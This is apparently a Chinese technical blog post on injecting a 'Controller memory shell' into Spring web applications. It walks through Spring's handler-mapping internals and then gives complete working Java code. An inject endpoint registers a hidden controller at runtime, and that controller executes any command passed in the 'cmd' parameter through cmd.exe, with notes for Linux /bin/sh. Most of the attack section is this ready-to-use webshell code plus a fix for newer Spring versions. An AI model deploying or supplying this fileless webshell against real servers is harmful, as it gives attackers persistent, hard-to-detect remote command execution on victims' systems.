Controller内存马

Controller作为SpringWeb框架中核心的参与部分,也可以在运行时被动态注册,若注册进去的是恶意类,则达到了注入内存马的效果


Controller注册流程

Spring在获取请求分配处理器时,调用了doDispatch()方法,该方法内部又调用了getHandler()方法,返回值被传递给了mappedHandler变量,而此时它已经通过请求路径定向到具体方法了

image-20260109141151070

说明getHandler()中肯定通过什么获取了请求地址与方法之间的映射关系,现在的目标就是找到这个映射关系,步入getHandler()方法

@Nullable
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for(HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}

return null;
}

该方法从handlerMappings这个字段中遍历出mapping,再对其调用getHandler()方法,handlerMappings字段中存储着一些HandlerMapping对象,其中0号元素RequestingMappingHandlerMapping对象具有mappingRegistry字段,该字段的registry字段存储着我们想要的东西

image-20260109141825732

RequestMappingHandlerMapping对象本身没有getHandler()方法,查找其父类RequestMappingInfoHandlerMapping也不具有该方法,继续查找其父类AbstractHandlerMethodMapping也不具有,继续查找其父类AbstractHandlerMapping,在该类中查找到该方法

该方法开头就调用了getHandlerInternal()方法,其返回值刚好就是目标方法

image-20260109142622774

继续跟进getHandlerInternal(),由于AbstractHandlerMapping的该方法为抽象方法,RequestMappingHandlerMapping会调用与其继承关系最近的具有该方法的类,此处为RequestMappingInfoHandlerMapping,但是该方法又去调用了父类的getHandlerInternal()

@Nullable
protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
request.removeAttribute(PRODUCIBLE_MEDIA_TYPES_ATTRIBUTE);

HandlerMethod var2;
try {
var2 = super.getHandlerInternal(request);
} finally {
ProducesRequestCondition.clearMediaTypesAttribute(request);
}

return var2;
}

AbstractHandlerMethodMapping中,出现了熟悉的mappingRegistry,该方法实现通过请求路径查找对应的处理方法,通过lookupHandlerMethod取出方法对象

@Nullable
protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
String lookupPath = this.initLookupPath(request);
this.mappingRegistry.acquireReadLock();

HandlerMethod var4;
try {
HandlerMethod handlerMethod = this.lookupHandlerMethod(lookupPath, request);
var4 = handlerMethod != null ? handlerMethod.createWithResolvedBean() : null;
} finally {
this.mappingRegistry.releaseReadLock();
}

return var4;
}

那么mappingRegistry在哪被赋值呢?我们又该如何正确地给mappingRegistry赋值?MappingRegistry下具有一个register()方法,该方法需要三个参数mappinghandlermethod

public void register(T mapping, Object handler, Method method) {
this.readWriteLock.writeLock().lock();

try {
HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method);
this.validateMethodMapping(handlerMethod, mapping);
Set<String> directPaths = AbstractHandlerMethodMapping.this.getDirectPaths(mapping);

for(String path : directPaths) {
this.pathLookup.add(path, mapping);
}

String name = null;
if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) {
name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping);
this.addMappingName(name, handlerMethod);
}

CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping);
if (corsConfig != null) {
corsConfig.validateAllowCredentials();
this.corsLookup.put(handlerMethod, corsConfig);
}

this.registry.put(mapping, new MappingRegistration(mapping, handlerMethod, directPaths, name, corsConfig != null));
} finally {
this.readWriteLock.writeLock().unlock();
}

}

该方法又被registerMapping()方法调用,后面获取RequestingMappingHandlerMapping可直接调用registerMapping()进行注册

public void registerMapping(T mapping, Object handler, Method method) {
if (this.logger.isTraceEnabled()) {
this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
}

this.mappingRegistry.register(mapping, handler, method);
}

接下来,需要获取web环境中的mappingRegistry对象并调用register()方法,前面我们知道,mappingRegistry只是handlerMappings列表中的一个元素的字段,该列表在初始化方法中被赋值,其中一个添加元素的策略如下

HandlerMapping hm = (HandlerMapping)context.getBean("handlerMapping", HandlerMapping.class);
this.handlerMappings = Collections.singletonList(hm);

显然,hm就是列表元素类型,可以依此获取前面的比如RequestingMappingHandlerMapping,现在的问题是如何获取contextcontext的类型是接口ApplicationContext的实现类,而DispatcherServlet类具有一个webApplicationContext字段(严格上是它的父类FrameworkServlet的字段),该字段为WebApplicationContext接口类型,是ApplicationContext的直接子接口。换言之,webApplicationContex就是当前Web环境下的上下文环境


构建Controller内存马

执行恶意命令的Controller

@RestController
public class ShellController{
public String invoke() {
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = attributes.getRequest();
String cmd = request.getParameter("cmd");
ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
StringBuilder result = new StringBuilder();
String output;
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}
output = result.toString();
} catch (IOException e) {
throw new RuntimeException(e);
}
return output;
}
}

获取从当前请求WebApplicationContextRequestMappingHandlerMapping

WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping handlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);

动态注册Controller

RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration();
config.setPatternParser(handlerMapping.getPatternParser());
RequestMappingInfo mappingInfo = RequestMappingInfo
.paths("/invoke")
.methods(RequestMethod.GET)
.options(config)
.build();

ShellController shellController = new ShellController();
handlerMapping.registerMapping(mappingInfo, shellController, shellController.getClass().getMethod("invoke"));

Controller内存马全貌

@RestController
public class IndexController {

@RequestMapping("/index")
public String showIndex(){
return "Hello World!";
}

@RequestMapping("/inject")
public String inject() throws NoSuchMethodException {

WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping handlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);

RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration();
config.setPatternParser(handlerMapping.getPatternParser());
RequestMappingInfo mappingInfo = RequestMappingInfo
.paths("/invoke")
.methods(RequestMethod.GET)
.options(config)
.build();

ShellController shellController = new ShellController();
handlerMapping.registerMapping(mappingInfo, shellController, shellController.getClass().getMethod("invoke"));

return "injected";
}

@RestController
public class ShellController{
public String invoke() {
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = attributes.getRequest();
String cmd = request.getParameter("cmd");
ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
StringBuilder result = new StringBuilder();
String output;
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}
output = result.toString();
} catch (IOException e) {
throw new RuntimeException(e);
}
return output;
}
}
}

该内存马是windows的测试环境,Linux环境下需要将终端目录修改至"/bin/sh",执行参数为"-c"


一些经历

起初学习Controller内存马是有跟着一些文章视频的,其中一些例子调用registerMapping()注册,为了传入mapping使用了弃用的构造器,这里随便放一例,实际上大多数构造器都被弃用了

@Deprecated
public RequestMappingInfo(@Nullable PatternsRequestCondition patterns, @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, @Nullable ProducesRequestCondition produces, @Nullable RequestCondition<?> custom) {
this((String)null, patterns, methods, params, headers, consumes, produces, custom);
}

这些构造器要求传入PatternsRequestCondition路径匹配条件对象,spring给这个路径对象配置的解析器是AntPathMatcher,而在较新的版本,Spring默认使用PathPatternParser作为解析器,两者在处理请求的逻辑上完全不同

如果在较新的SpringBoot版本使用旧解析器,会触发旧解析链中UrlPathHelper调用getResolvedLookupPath()尝试获取路径,但PathPatternParser解析路线不需要UrlPathHelper的参与,UrlPathHelper获取不到路径就会抛出异常

当时就经常抛出异常

java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".

问AI总是说什么线程不同步、手动设置PATH属性什么的,是在是不敢采纳,最后一步步调试在getMatchingMapping()方法中发现分别访问/inject/invokeRequestMappingInfo配置不一样

访问/inject路径,可以正常访问

45188f8d737c2cba81a408b602b30cc9

访问/invoke路径,抛出异常

7fe01fd21e59a7d06d4d57be531e3262

/inject采用了默认的pathPatternCondition,而/invoke采用的是旧的patternsCondition,这就是问题所在

解决方法是使用方法链的方式去构建mapping,这样可以指定解析器模式,该方法新旧通用,因为是直接获取了Spring的配置信息

RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration();
config.setPatternParser(handlerMapping.getPatternParser());
RequestMappingInfo mappingInfo = RequestMappingInfo
.paths("/invoke")
.methods(RequestMethod.GET)
.options(config)
.build();